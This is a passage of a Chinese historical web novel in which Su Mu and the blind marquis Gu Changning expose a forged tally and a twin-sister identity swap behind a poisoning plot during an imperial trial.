苏木此刻更是惊楞。 妹妹?已死? 她不能坐以待毙,任由堂前二人一来一回,白的也要说成黑的。 她说过会信顾长宁,她自然不疑。 “回皇上,月华此话差矣,可谓漏洞百出。” “其一,顾小侯爷早年征战沙场,近三年刚归上京,与赵爵无冤无仇,何来毒杀之仇?” “其二,顾小侯爷乃习武之人,身侧不缺能人贤士,何以见得要请烟柳女子相助,还将重要鱼符随意赠予他人?” “其三,月华口中所说是在榜文上所知赵爵世子中毒,她是如何得知世子就是钩吻所害,又是从何得知此毒一定是侯爷所下?” 苏木为证明疑问得当,补充道:“民女略通医术,这钩吻又命断魂草,能致人于死地,可也是外敷治疗疮疡之症的良药。” “请问月华姑娘,侯爷是在何地何时与你说,购买钩吻必定是用以毒人呢?” 苏木字字珠玑,问的有理有据。 她刚刚未反驳,也是想要找出些话语间的漏洞。 如此一问,当真叫月华脸上一阵清白,唇瓣几次掀起又几次闭上。 一时,堂上再度寂静。 刑台上,日光发白,月华脸色惨白,哑口无言。 苏木知她还在想措辞,冷眼瞧着她,也等着她的回答。 就在这死寂之时,忽然,一阵节奏一致,轻微而清晰的杖声由远及近。 听过这声音的对这并不陌生。 那是玄木敲击地面之声,带着稳重与摸索之意,一声声扣入苏木那高悬的紧张神经。 这声音震动她耳弦,让她一点点卸下凝重外壳,耸立肩膀不知何时舒展。 循声望去,金色日光下,顾长宁一袭玄青锦袍,领口流苏随步伐摇晃不止,他面色如往常冷峻利落,眸中是熟悉的无光之色,却被日光衬的仿佛多了几分颜色。 苏木对上面容时,仿佛和他眸光交汇。 苏木挑眉。 冰块脸,她早已习惯,之前所见,还让人厌烦不止。 可在此时此景。 那张脸,却莫名让人心安。 她明白,她这次。 真的完全的信任了他。 他上前来,步伐带着凌厉逼人的气势,仿佛无人能压住身上散发出来的矜贵。 “臣不过晚来片刻,” “这脏水,都要泼到臣身上来了。” 顾长宁步履稳健,微侧其头,唇角无润和笑意,声音带着些许倦意和冷气—— 第36章 闻声, 堂上人视线凝结一处。 顾长宁才上青阶,步履稳健, 身后小厮扶他转向堂上,于是乎行礼:“臣来的迟了,还请皇上恕罪。” 他声音低浅,波澜不惊。 御座之上,皇帝微微抬眼,那抹玄青身影便落入眼帘,皇帝袖下手指轻叩几声, 随即淡淡开口:“无碍。” “你来的正巧, 这女子今日翻供, 说此事由你所起, 你可好好听听。” 顾长宁拱手领命,随即转过身来。 他眸光未凝, 头偏向苏木二人时, 目光涣散。 苏木看向他时,他正面向她而立, 青衣如松, 肩背舒展, 周身气度不凡。 顾长宁问:“你可是说那鱼符是本侯的?” 他声音沉冷,不苟言笑。 前方月华似未料顾长宁会亲自到场,后背一僵, 随即回答:“是,是侯爷亲手交给奴家的。” 她说这话时,眼中慌乱未达顾长宁眼底,可语中慌色却传眼底。 顾长宁鼻腔中嗤出一声冷笑,随即招手。 凌风从侧旁台阶而上。 他手中手杖随他一转, 朝向御座:“皇上请看,臣的鱼符虽前月不甚丢失,但好在后续找回,完好一对尽在于此。” 凌风上前,将掌中摊开的鱼符小心呈上。 身旁李公公接过小巧鱼符,再小心呈给了御座上的人。 皇帝接过鱼符,两手各执一半,分别查看后,又合到了一起。 赵爵一向与侯府交好,也未被三言两语迷惑,但半晌见皇帝未言,身旁赵爵有些坐不住,还是提醒道:“皇上,有没有可能小侯爷更换鱼符呢?” 赵爵话落,皇帝金色袖袍一挥,随即开口:“顾小侯爷呈上来的确为他之鱼符。” 皇帝将鱼符递给身侧李公公,公公受命又转递给了一旁赵爵。 见赵爵手执鱼符,皇帝进而道:“赵爵可还记得,少时,顾小侯爷曾在宫中同朕伴读。” “朕贪玩,取伯沅鱼符玩耍,使其不小心磕地,两半鱼符皆有划痕。” 赵爵边听皇帝之言边仔细端详手中鱼符,他右手顺着鱼符而摩挲时,果然在祥云拐角处摸到一处不明显的划痕。 这划痕看着不明显,若是两半鱼符合上,划痕恰巧扣上,叫人无从察觉异常。 见皇帝似站顾长宁一队,地下月华忙反驳挣扎:“皇上,或许是顾小侯爷自做鱼符,这对是仿着原先那对,连划痕也是仿制!” 月华仍不死心,继而又说。 可月华的不死心在顾长宁看来不过是负隅顽抗。 “我那鱼符真真切切是侯爷所给。” 顾长宁背对她,对着她所提继续反驳,故意反问:“你可知,京中候伯爵所用鱼符皆为上等黄玉籽料,这黄玉籽料极其难寻,元年开采出来的几块尽数做了鱼符,只留半尺左右放置宰相府中。” “赵爵手中所执乃是纯正黄玉,你若有疑问,可是要去查验宰相府中黄玉?” “再者,臣知赵爵一向喜玉,自然能分清良莠。” 顾长宁此话一出,皇帝也领会其意,于是将手中先前呈上来的半枚鱼符交给李公公,赵爵接过后仔细端详起来。 苏木仔细盯着伯爵动作,只见他上下翻看,然后又用指节轻击,后面色呈恍然大悟状。 “回皇上,此鱼符真非黄玉籽料。” “这是产自辽西一带的河磨黄石料,常由玉石商贩卖往上京,虽不如黄玉籽料稀贵,但也不是泛滥货,上京城卖此等玉料的玉雕工坊也定能查到。” 他又拿起顾长宁所呈一对鱼符,仔细端详后语气更加确凿:“小侯爷所呈的确为黄玉籽料!” 赵爵此话一出,地上月华瞬间哑口无言。 “来人,去查京中工坊,看是那些玉雕坊贩卖河磨黄石,所疑之人,统统给朕带来。” 皇帝下令,谁敢不从,只见其下御军正要前去,顾长宁听起声后立即出声:“不必如此麻烦。” “回皇上,前些日子府中遭贼,后臣调查得知是有一小厮常执臣鱼符进出,无人怀疑禀告,被臣察觉端倪后已然搜查了京中可仿黄玉籽料之玉,查出数人曾购买河磨黄石料、鹅籽料等。” “不过,购买河磨黄石料,用作鱼符大小的量只一人。” 皇帝眉尾微仰:“传上来。” 恰此时,阶下稽查司之人正押一人上台。 苏木循声望去。 那小厮看着瘦小无比,苏木只觉熟悉。 她仔细回想才想起,这人正是那日指认苏木的小厮。 苏木心下已觉不对,她仍看不清眼前局势,总觉得一环套一环,而她似乎被人执做棋子。 她未言,也知此刻自己无需多言,她只来回看二人对戏,仿佛已经看出些端倪来。 顾长宁听身旁有人沉重滚地之声,面色如霜:“你自己说。” 苏木瞧地上弯腰趴着的人哆哆嗦嗦,还未向御座上人行尊礼便颤颤巍巍开口。 “小,小的之前是去城西玉石坊买了玉料,这,这玉料是,是……” “好好回话。” 小厮说话打哆嗦,说话声渐如细蚊,赵爵冷声呵斥,那小厮更是猛的一怔。 许是怕就此丧命,那小厮猛咽下一口气,说话沉稳了些,声音也带着嘹亮许多。 “回,回伯爵的话,小的曾去城西买,买过玉料,这玉料又送往东市做了鱼符。” “你要这鱼符有何用?” 赵爵再问。 小厮头不敢抬,犹犹豫豫。 凌风往他背脊上猛踢一脚,语带警告:“快说。” 这下,那小厮攸地反应过来,语速极快:“是,是谢三公子!宰相府中的谢三公子要挟小的。” 小厮语带哽咽,向来害怕之极,但这话一出,他好像少了些惧意,猛抬头说:“请皇上恕罪!赵三公子威胁小的,若是不按照他所说去做,他就要杀了小的的家人!” 此话一出,堂下千余人喧哗,就连堂上龙颜亦露出几分怒意。 谁人不知,整个上京有几人冠以这个“谢”字,又有几人家中有三位公子。 就如此刻,一直立于一旁阶上的都指挥使,此刻脸色难看。 皇帝面上已有几分怒色,语中压迫十足,寒气逼人:“你可知污蔑朝臣是何重罪!” 众人都知皇帝此语带锋,就连一向坐不住的赵爵此刻也是屏息以待,不敢发出半点动静。 小厮哆嗦:“小的所言属实。” 说完后,小厮又立马俯首,不敢见天颜。 顾长宁未见人颜,自然不惧,但这谢三公子身份一出。 他面上带着几分旁人未可察觉的笑意。 苏木见顾长宁拱手示礼,不卑不亢:“皇上,恰好宰相府中那唯一一块黄玉籽料还未查,倒不如,让谢三公子携带前来,也好证明臣清白。” 众人不敢多言,只余顾长宁语声透亮。 皇帝点头,眉间怒意不可遏制。 他拂手,谢辞桉领命,随即就要下台传人。 可刚迈出一步,皇帝便止:“此事谢指挥使不便去。” 皇帝看向顾长宁:“顾长宁,叫你的手下去。” 说完,皇帝起身:“将这些人全部押往稽查司,朕倒要看看,你们这些人在朕眼皮底下能翻起多大风浪!” 出珠帘,龙颜远去。 苏木能想明白为何不让谢辞桉去,毕竟他是谢家儿郎,理当避险。她不明的是,为何当着众人在场不把话说开,而是要再次前往稽查司审问? 心下疑惑,她视线朝顾长宁看去。 宽厚背影恍惚间转身,苏木在顾长宁眼底,看见了一丝一瞬而过的无奈。 他未同她说一句话,在身旁侍从的搀扶下往台下而去。 苏木同样起身,被羁押侍从扣臂而押。 她转头,台下人声鼎沸,似对这结果甚是不满,可无人理会,身着飞鱼的众卫维持秩序。 嘈杂声如雷贯耳,直至苏木被押入木笼槛车,这声才逐渐远去。 三辆槛车,全部羁押犯人。 槛车之前,是几辆雕饰繁复的木色马车,车身鎏金描边,檐角挂着的流苏风铃随马车晃动而发出清脆声响。 一条道上,两种不一样的境况。 苏木闭目,仔细复盘刚才发生之事,以及此前计划之事。 车轱辘声巨大无比,扰乱苏木刚理清的思绪。 她此刻思绪如乱麻,根本理不清。 三日前,在牢里。 谢辞桉说,他已与顾长宁联手,在今日几人合作,在此前先画押说一切都是她所做,到场后翻供,按照计划行事,顾长宁会揪出幕后黑手。 她已做好所有准备,一切似乎都按照计划行事,可她刚不认此事,月华又在此时反水,顾长宁刚刚在台上所说之话,全是之前未曾透露过的。 她看向谢辞桉时,他也正和自己一般疑惑。 苏木心下生着乱,索性不再去想。 无论如何,按照刚才情形来看,是侯府有利。 既然如此,她便假装什么都不知道,看顾长宁如何去唱这出戏。 正想着,槛车已随前方马车一并停下,车轮辘轳声戛然而止。 苏木侧目抬眼,看见鎏金牌匾高高挂起,牌匾之上,龙飞凤舞地写着“稽查司”三个大字。 朱门两旁写着清正二联,两旁侍卫挺拔而立,腰间各配长刀。 冷峻肃杀之气由内而外地散发,无声昭示着此地威严与沉重的冷气。 苏木被押往大堂时,堂上已坐满了人。 跪地之人一众,除了刚在刑台之上的几位,还有一身着锦衣的陌生男子。 苏木瞧他面容与谢辞桉有几分相似,自然已知此人身份。 那是谢家三公子——谢焱—— 第37章 谢焱, 谢府三公子,妾室所出, 乃是庶子。 少时,苏木很是不喜谢焱,她幼年长随母亲在相府走动,长遇谢焱欺负谢辞桉。 几番打交道,发现他小小年纪便欺软怕硬,打着相府名头狐假虎威,遇的多了, 她愈来愈讨厌他, 却也因此和谢辞桉熟络起来。 过了九年, 谢焱已为少年模样, 因背对,苏木不知眼前人如今长何模样。 身后羁押侍卫的催促声阵阵, 她不便张望, 随众人而跪。 刚才在日光地下晒了良久,苏木感受到脑袋传来些昏沉之感。 大厅不似东西街宽广, 厅内有站有跪亦有坐者。 因着拥挤些, 顾长宁, 恰好在她左侧。 两行黑木桌椅摆放整齐,苏木沉着头,余光却能看见右臂下方那玄青色衣衫。 跪地之人有四。 苏木、月华、小厮、还有谢焱谢焱独跪一列。 皇帝早已入座上方, 没了珠帘做挡,苏木在进来时也看清了皇帝模样。 眉间一副俯瞰众生的凌厉之色,目光炯炯,看人时自带森冷,叫人不敢直视。 人已到齐, 皇帝未立即发话,而是侧头示意身边公公,那公公知其意,上前接过谢焱一直放置于身前之紫檀木盒。 众人视线随公公步伐而前后流转,最后定在那双向皇帝呈上的手中。 厅内视线不比外头,几缕白光随屋瓦缝隙落下,几分打在盒上,就能让人看的真切。 东西已置跟前,众人眸光已聚,可皇帝却未抬眼亦未翻盒。 不出声之意身边公公早已领会,于是单手托盒,另一手缓缓打开木盒。 白光打在盒中物件之上,李公公眉眼顿时舒展,露出些笑来:“回皇上,这盒子所装的确是半尺黄石籽料,无切割破损痕迹。” 为证明自己看到无假,李公公余光已瞧见皇帝侧目,于是俯身递上。 皇帝垂眸,目光定在盒中之物,见到物件后,面色柔和了几分。 下一瞬,皇帝挥手,木盒移交到李公公身后所跟小黄门的手中。 既然玉石籽料尚存,那假造鱼符之疑便不复存在,皇帝浅笑:“小厮所指认造假鱼符乃谢焱,相府籽料亦未缺失。” “谢焱,你还有何话说!” 前半句话,皇帝开口还是幽幽之色,似乎是平常语气。可在说起后半句时,攸地拍桌,掌声如劈裂之势,吓得苏木身侧几人浑身一抖。 苏木掀眼,背对而跪之人自然也惧怕龙威,谢焱吓得立马俯身摆手示礼,整个脑袋贴在双手之上,脑袋瞧着恨不得往地底下钻。 龙颜震怒,浮尸横亘千里。 所以即使害怕,天子之问,他不得不答。 “回,回皇上,这,小民的确不知什么鱼符之事啊!” 他回答的慌张,那副急忙否认的样子,像是毫不知情。 见他否认的快,苏木身侧小厮有了反应,立即反驳:“谢公子,明明是你让我去仿的鱼符,如今你不承认了?” “你甭血口喷人,我何时派你前去过!” 谢焱转身,眼睛带着几分慌乱和怒意,脸色铁青。 “谢公子,你要挟我家人……” “好了!” 那小厮急忙接话,可话还未说完,左侧木椅之上的赵爵听的不耐烦了。 “公堂之上,岂容尔等吵吵嚷嚷。” 赵爵捏了捏自己的耳朵,面色不耐:“现下就几个问题,我且来问你。” 赵爵起身往前走上几步,开始在谢焱身前来回走动。 “其一,你说你没有派人去仿制鱼符,你可有证据?” “其二,此案重点在于是谁,在新春宫宴上给我儿下毒。” 这句话落地,赵爵步伐停至厅内中央,语气铮铮。 “其三,你们有人证的传人证,有物证的呈物证,再在这公堂上吵嚷,全部治罪!” 他这话语调不高,甚至声音不算高扬,可众人皆能领会这不容质疑之意。 皇帝坐其上未言,似乎也同意赵爵所说之话。 赵严再怎么说祖上也是开国元勋,加上又有世袭伯爵在身,说起话来也算有些重量。 既然在理,何必反驳。 三问一出,堂下刹那寂静,刚才的吵嚷已不复存在。 苏木观察局势,也不便贸然开口。 片刻,身前谢焱才缓缓立直上半身,开口道:“小民确实不知什么鱼符之事情,还望皇上和赵爵切勿听信一面之词。” “此外,关于新春公宴一案,小民知之甚少,更不知如何牵扯到自身身上。” 谢焱话答得几快,否认之前种种,好似真的完全不知情。 可鱼符之事并非一人之词,事实也指,月华所说鱼符是顾长宁所给,毫无道理。 因此,在听到这回答时,苏木一旁久未有动静的衣衫有了半分移动。 苏木听到,一声冷笑自头顶而来,那声冷笑带着讥讽、不屑和失语。 “谢公子倒是将自己择的一干二净。” 顾长宁开了口,面色冷峻,眼底含霜。 “谢公子,本来此案与我顾长宁无甚关系,既然你不愿说,那本侯替你一一道来如何。” 这话似从喉间滚落,毫无温度。 他声音轻却蕴着力道,那双素来冷寂的眼睛,在此刻更显冷意,直达人心底,叫人凄寒。 苏木虽依旧埋头,此刻却稍稍侧目,看向了上方顾长宁的面颊。 虽声厉,可面不改。 “扬风,将人给我带上来。” 扬风在门后站立,一听命令,立即将早已押好之人领入大厅。 此时,无数双疑惑双眼投来,顾长宁既看不见,自然可以忽视。 顾长宁说:“你且从头道来,你所知道的一切。” 堂下所跪之人皆被步履声和顾长宁之语所引,一众抬起头来。 所见,是一娇弱柔美女子,她正穿着布衣,面色平静。 与之对应的,是月华眼底的诧异、震惊;是谢焱眼中的害怕、躲闪。 苏木同样愕然。 她未知,影儿何故被带至公堂。 影儿被带入厅内后,第一个所视之人便是苏木,她莞尔浅笑,以示安心,随即跪地叩首:“民女拜见皇上。” “免礼。” 听此声,影儿又再次站起身来,不过这次,她未看向苏木,而是以更冰冷的眼神蔑视月华与谢焱二人。 下一瞬,苏木瞧见影儿眼色坚定,抬起还有些颤抖的手摸向自己的下颌处。 “不要。” 身后月华因急迫而显嘶哑的制止声刚出,随即公堂之上众人哗然。 只见影儿手指一撕,竟有一层薄薄的面皮落入指间。 苏木瞧着皮下之脸一时愣住,呼吸都如同骤停一般。 影儿——居然和月华长得一模一样,甚至可以说,分毫不差! 苏木瞳孔微缩,心中一时五味翻杂,有震惊和疑惑,亦有自嘲。 她竟又被骗了。 苏木还未缓过神,影儿已经跪地开口。 “回皇上,给赵爵世子下毒的不是小侯爷,亦不是苏木。” 众人皆在诧异之中,影儿这一开口,堂上之人缓过神来,还未出口,影儿继而又道。 “如皇上所见,我与玉春楼月华姑娘生的一模一样,不因其他,而是因为我们二人为一母同胞的双生花。” 前一句话苏木刚入耳,后一句双胞胎又袭来,苏木有些混乱,拧眉看向跪于自己身侧之人。 其他人亦是混乱,可尽管这样,影儿依旧未止话:“民女住在上京城外清水村,幼时家境贫寒,因而爹娘自我和月华一出生便已想好要送走其中一人,那时,民女与姐姐五岁左右,可因着女儿家的身份,很难被人领去抚养。” “家中日渐揭不开锅了,于是民女爹娘在城中寻到了一家富贵人家,带至家中时,二人觉得月华生的更加机灵水润,于是以金而领。” “也是凭着这些银钱,父亲逐渐能做些盈生,母亲也学了些生计能补贴家中,日子不算富有,虽清贫却又不失滋味。” 说起这些话时,影儿眸光中还浮着一丝柔和,但转而,她面上柔光已散。 “直到后来,我遇见了你。” 说出这句话,影儿几乎像是从牙缝里挤出这几个字,眼底透露出一丝后悔与恼恨。 她看着跪在地上面色仍旧惊慌的月华,扯了扯嘴角:“家中以为你被那富贵人家收养,自当过的锦衣玉食,可没曾想,在那风流之地遇见了你。” 苏木在她侧,如局外人瞧着二人。 在此之前她已大致听闻过这件事,可如今瞧着影儿眼底的悔恨,转而也看向跪倒在地的月华苦笑,她也想完整的听一听这故事究竟如何。 堂上无人打断,都静静听着。 影儿继续说道:“那日,我本如往常来城中医馆学医,未料途中遇一女子得了红瘴之症,她躺于破落小巷,身上潮热,疼痛难忍。” “寻了她为何处之人,才知原来是玉春楼的姑娘。” “玉春楼乃是城中有名风流之地,十几年来,我从未踏足。” “世间医者多为男儿,女医少之又少,若我袖手旁观,又只能被称之为学医者。心中纠结,可见她难受之样,我实在不忍,还是见她送回了玉春楼,并答应每隔几日过来给她看诊。” 影儿回想那时前景,语中渗着些些无奈,可更多的是懊悔,是恨意。 “就是在那里,在玉春楼,我遇见了你。” 影儿突然失控,面目都有几分狰狞,她举起手臂,食指指向仍在地上,眼神躲闪慌乱的月华。 “是你,你骗我!” 影儿仰天而笑,笑得好生无奈,好生凄凉。 她语带颤抖:“遇你之时,我只觉亏欠,我们同为双生,可你所处境地却比我要难上许多。” “为弥补,我日日从医馆回家时便会去玉春楼看你,你知我在医馆学医,诓骗我为你买得钩吻,我一女子在医馆学医本就处处掣肘,不便在安和堂买此物,后寻得多家,钩吻却都已卖空,安和堂倒是有,但我要买他必一再抬价,我才只好遣何安替我买之。 “而后你诉我欢喜之事,说谢府公子要为你赎身,但他家中实不同意,可你说谢三公子为人良善,说是往后就算不嫁进相府,他也会为你安置别院。” 影儿苍凉而笑,语声戚戚:“你诉我说相府每月查各房花销开支,不能明摆着去玉春楼为你赎身,于是遣我去取银钱,可那日我有事实在脱不开身,这才让又让我未婚夫何安替之,并签下了那赎身契。” “一切看着都很美好不是吗?常常,你因谢焱迟迟不来接你而恼怒,我只得扮作你的样子继续留在玉春楼,你常带面纱出去与他私会。” 影儿嘲讽:“我当时也是这样以为。” “可你,一日将我诓骗至郊外野地,终于露出了你的狐狸尾巴。” 影儿跪于身侧,眼睛已充满血丝,那血丝仿佛是从胸腔而出,带着不甘、带着悔恨、带着痛楚。 “你与谢焱,将我爹娘所绑,以此威胁我替你入侯府。” 说到侯府,影儿没再看着月华,而是穿过苏木,向顾长宁看去。 “没错,就是宣德候府。” “你们那日所抓之人,并不是月华,是我。” “她告知我,说最近你们宣德候府在查新春宫宴一时,若是查到,必然是死罪。” “她知我愧疚,也知双亲乃是我最珍惜之人,以此来要挟我扮作她,为你们所抓,替她受过。” “以亲人相逼,我不忍,自然也就答应。” 说到这,苏木开始回想,在两日前,谢辞桉突然一变平日审问之势,转变了态度说眼下正在与顾长宁合作,也高告知了苏木,眼下月华已金蝉脱壳,稽查司所抓月华乃是影儿,不是真月华, 所以,他们才策反了那身处于稽查司的“假月华”,选在行刑之时进行翻供,好让所有人都得知谢家三公子的真面目。 苏木虽不知,一个小小的谢三公子,为何要让谢辞桉和顾长宁二人如此大费周折。 她有些不愿,但顾长宁说,眼下入稽查司便是安排给她的第二个任务,做完这件事他便还她自由,她也只好顺着他们二人的意思,在今日选择翻供做戏。 直到,刑台之上,月华所说之话,和之前答应他们所说之话完全不一样…… 苏木疑惑:“你们既然换了身份,为何如今你身处于稽查司外?” 第38章 这一问并不奇怪, 本身苏木便以为二者身份是互换的,就连影儿她刚自身也说了二人身份互换了, 可为何,如今站在这里的人却称自己是影儿? 影儿收回看向顾长宁的视线,转而对上苏木尚带疑惑的双眸。 “的确,一开始我们二人身份的确互换了,我受了疼,忍不住这才谎称自己已有身孕。” 苏木疑惑了。 谎称? 难道她不怕顾长宁带着大夫前来诊脉吗? 可下一瞬,苏木又心下了然。 她是医者, 自然知道有何种方法会导致脉象滑变, 让医者误判。 心下了然, 苏木对身侧之人竟有了半分兴趣, 她之前在蔺州行医时,除了静医馆有女大夫外, 在京城倒是少见的。 这样看来, 眼前这人作为在安和堂的学徒就能学到这种程度,是有些天赋在的。 可苏木还有疑惑:“你既然替代月华被我所抓, 那在抓你之前, 为何我会先遇到月华假扮的影儿?” 照理说, 二人身份互换,金蝉脱壳的月华该避之不及,可为何, 她会先遇到影儿。 在谢辞桉告诉她的这几日,她一直想不明白这件事。 她想起,那日她是现在街上碰到了月华假扮的影儿,她说她无路可去,她才好心收留的她。 那既然月华以影儿双亲做要挟, 为何自己还要冒险前去侯府? 影儿哪能观察到眼前人的赞赏之意,她话还没说完,刚巧又被这一问,于是接着道:“你先遇到她在遇到我,那不过是掩耳盗铃罢了。” “你既然见过影儿,自然不会怀疑影儿是月华。” “至于我为什么还要去侯府,恐怕说起另一件事,你便知晓了。” “什么事?” 苏木立马问,许是说话过多,苏木又开始感觉到脑袋昏沉,恰巧朱门缝中斜切一金辉,洒在苏木身上时,她觉得恍惚难受。 没顾及那么多,苏木捏了捏自己的眉心,强撑着听话。 见问,影儿这次没有透过苏木看向顾长宁,而是眸光在二人身上来回流转。 “小侯爷中毒那晚,还记得吗?” 中毒? 一听中毒二字,苏木立马反应过来,顾长宁中毒那日,正是她遇月华假扮影儿那日,也正是碰巧遇见影儿假扮的月华朝侯府方向所去。 她就说,那日明明瞧见过月华往侯府方向而去,可扬风当时说下毒之人是青颜。 她记得当时她被气的头脑发昏,想着要早些将月华抓来,好离开侯府,这一茬,她早就抛到九霄云外去。 如今想来,断魂毒,断魂草,可不就是钩吻嘛。 苏木下意识侧头看向顾长宁,她原以为,她抬头时能看到顾长宁脸上有那么一丝的变化,可那人不动如山,仿佛早已料到一般,冷寂如常。 苏木垂眸,一时失语。 影儿哪能注意到这些细微变化,她只想把这两天藏在心里的秘密吐露个痛快,好揭露堂下二人那丑恶的嘴脸。 苏木想来,侯府里面能信之人不多,连一等侍女青颜都可以为月华所用。 她问:“所以是你,在我救月华扮作你的那一天,你假扮她去了侯府,然后通过青颜,给顾长宁下了药?” 青颜? 影儿皱眉警惕:“什么青颜?你可别随便诬赖人。” 她挺直腰板:“谢三公子想要将罪名泼到顾小侯爷身上,只是让我将毒药藏入你的房中罢了。” “但小侯爷为何中毒,放入你房中的毒药为何又会到了那个叫青颜的女子,我可一概不知。” 她说话耿直,语气也未有一丝变化,瞧着倒不像撒谎。 可苏木眼底不知何时浮现了一层难以置信。 她此时,一直挺立的腰杆耷拉半分,头晕目眩之感使她难受,可更让她难受的,是这些人可以谋划如此之久。 甚至可以说,当她踏入上京这片土地时,她就已经被算入其中…… 所以,在苏木被当作给顾长宁下毒之人关在地牢时,她还在担心影儿的安危,可这个月华扮作的影儿,假意说自己藏在地窖,实则溜之大吉。 苏木脸上已浮起些薄汗,她来不及擦拭,厉声而道:“所以,你的毒药没有放置成功,假扮你的月华再回侯府,也是为了放置毒药在我房中,好诬陷我?” 苏木其实并不意外了,在谢辞桉对她说明这一切时,她已经心生凉意,可她还是有些难受。 对于陌生女子,她怜她,救她,可她却谋划着将罪名扣到自己身上,谋划着如何将毒药藏入她屋中。 当真是真心喂狗。 二人一来一回,堂上众人皆被绕晕,赵爵听了半天也没听明白,于是立马出声阻止了还要再问的苏木。 赵爵起身:“既然你说你假扮月华进了他侯府地牢,那稽查司那日所抓之人也应当是你扮作的月华,可为何,你却不在稽查司,而是被侯爷所带来?” 此话正是影儿接下来要说及之时,于是她点头道:“回伯爵的话,民女正要说及此事。” 影儿扫视堂上众人,眼中无畏,平心而说:“的确,直到苏木从地牢放出,我们二者都是假扮着对方。” 她看向苏木。 “那日顾长宁毒发,侯府戒备森严,本来,假扮我的月华自然找不到机会将污蔑你的钩吻放置你的房中,直到你所说的青颜被扯出,此案已破,侯府管控自然又如从前。” “所以,她才会在你抓我的当晚,再次去到你的房中,将毒药放置你的床下。” “而你,对她极其好,还怕她受到牵连,第二天为她寻了个客栈。” 影儿本是平淡口吻说出这些话,后话锋突转,语中竟有些替苏木不值当一般。 “你将她送到府外,那本是她最佳离开的时机,可在这之前,小侯爷没少怀疑和探查,已经开始查月华假扮的影儿是否为相府之人。” “你想想,那自然是谢三公子威胁了她,告诉她若是顾小侯爷不死,这个案子一定会查到他头上,倒不如直接身份在互转回来,就算查到了,那也是以为我二人身份互转,然后以此破绽来污蔑小侯爷。” “所以,在你与顾长宁同去府外出游时,谢三公子便安排了一泼皮无赖讹上小侯爷,以此来拖住你们,为我们二人再次身份互转,争取了时间。她翻供,可污蔑小侯爷,而我,不管你们如何去查,我皆是相府奴婢。” 影儿冷笑:“听着,好像无半点破绽。” “是那妇人,是那妇人出卖了我们!” 苏木身前的月华突然大叫,她语带愤抗,仿佛被诬陷的,受了天大的委屈的是她。 而影儿刚才的话说的极其快,这一席话落入苏木耳中时,她已愕然惊讶。 她不曾想,就连那日二人出阆华街同游,都同样被人算计在局中。 苏木此刻脑袋已混沌不已,无数个千丝万缕的信息向她扑来,她听着这解释一点点理清,却又一点点变得沉重。 再看向月华时,她的脸上已布满了苦涩。 她很难将眼前这个已成恶鬼的怨妇,同那个懦弱胆小,能够让她心生保护的影儿联想起来。 她双手努力撑在地面,强撑着不让自己倒下去,一滴滴滚烫的汗砸入泛着金黄的地面,无人在意。 这时,一道遒劲有力的掌心相合之声自堂上而来。 那一道道声响,叫躺下之人屏住呼吸,不敢妄言,不敢凝目。 皇帝大笑,笑声混厚,似乎能穿破发肤,振聋发聩。 他转而语带锋利,掷地有声。 “哈哈哈哈哈哈哈,这场局被你设计的倒是精彩!” 皇帝上一秒大笑,可那皮笑肉不笑的声音瞬间而止,转而为冷厉之声,抬手直直指着堂下谢焱。 众人不敢接话,皆颌首以待下句。 那指着的食指没在半空中停留多久,不过刹那收回,眼睛又看向堂下影儿。 “那你来回答朕,既然月华要翻供,她可以得到她想要的,而你被如此精心包装也可直接离去,为何,还要来这堂上作证?” 天子之问,影儿不敢忽视,她叩首示礼,抬头时看了一眼皇帝,转而又随着膝下双腿转动上半身,直直侧向月华。 “回皇上,他们虽做的天衣无缝,却做的也太绝。” 影儿自嘲:“我本以为,待我归家,便可再见双亲笑颜。” “可他们,却早已被谢焱所派之人杀害!” 影儿说到这时,眼中猩红,她字字掷地,一寸寸敲打着月华的心。 月华听到此时,双眸攸地睁大,瞳孔涣散,不敢置信。 她不敢相信,她还未来得及让他们后悔,让他们悔恨当年丢下她之错,他们竟然就这么离开了。 她似愣住,一下没了反应,像是受到极大地打击。 影儿见状,摇头苦笑,酸涩意味溢于言表:“我这个相府婢女的身份无任何可疑之处,可你谢焱也没想到,你买完城中所有钩吻然后销毁记录,以引得我只能去安和堂买,不过是想着有朝一日事情败露,我朱影儿可以做你的替死鬼罢了。” 她怒不可遏:“可这也是你错漏之处,你不知档案留下姓名乃我未婚夫何安而不是我,因此未销记录,这才能让顾小侯爷顺手牵羊,查到此处。” “还有那妇人,若不是那妇人前些日子还在招摇撞骗,忽而家中有发了横财,谁会怀疑到她的头上?” 影儿垂眸,那怒意被她生生按压回去,最终归于无奈的横窜闷气。 影儿替顾长宁说了她所做一切。 找到何安、策反影儿、拷问妇人、查到朱家落难、传谣言加深谢焱的杀他之心等等,都是他暗自所做。 这样一个人,是应该说他非常人之智,还是说他城府更深。 因着能知错综复杂之事,才能解错综复杂之案。 苏木本来要望向顾长宁,可她眼前似乎晃出了无数个倒影,恍恍惚惚,看不真切亦看不清来人表情。 影儿乃棋子。 她又何尝不是。 顾长宁为何不派凌风、扬风抓月华,而是将如此重要的事派给一个一向想要杀了她的刺客。 是不是此案若查不到这些苗头,月华和谢焱二人如偿所愿,那她是不是将被推进万丈深渊,做那被弃棋子…… 苏木苦涩无奈,只觉脑中有什么声音嗡嗡作响,她四肢像被抽走了力气,眼前已是昏天黑地,成片成片的灰白在眼中流转。 “我要杀了你,我要杀了你!” “唔——” 耳边,像是传来一阵阵的辱骂声、狂燥声、似乎,还有那鲜血喷洒之声,苏木没了力气,她想要看清楚,却膝下一软,直直栽了下去。 意外的,面颊没有触碰到同膝盖下冰冷的青石板,她只感觉自己面颊 被一温热之物托举住。 嘈杂声音逐渐消退,昏天黑地间,一股低醇声音逐渐取代,四周如寂静无人。 玄青衣角在朦胧间摇摆,有人唤着她的名字,一声又一声。 那一声声,像是从模糊迷乱的幻境中传来,扣在耳畔上,带着一丝低沉、不安、紧张…… 苏木没了意识,所以未知,自己已沉沉倒在一温热胸怀中—— 第39章 月夜疏朗, 天清如洗,银辉洒落时, 铺满了侯府蜿蜒的青石小径与瓦檐屋脊。清风自竹林穿过时,带着桃月特有的草木新香,沁人心脾。 月影斑驳的月洞门下,两道身影随着洞门的阴晴圆缺而步履悠悠。 顾长宁身着一墨青常衣,随着掌中手杖的指引往前走着,不像赶路,像是闲逛一般。 一半竹影窸窣摇晃, 阴影遮住半边面颊, 使起棱角更显分明。唯独那双眼, 在漆黑月夜下, 分辨不出情绪。 但实则,顾长宁心下有些乱。 手下手杖在青石上敲出些清脆的响声, 在这有节奏的起伏之中, 他才慢慢试着去理清自己的思绪。 平心而论,他让苏木去绑月华的确有私心, 实则在苏木未进侯府刺杀他前, 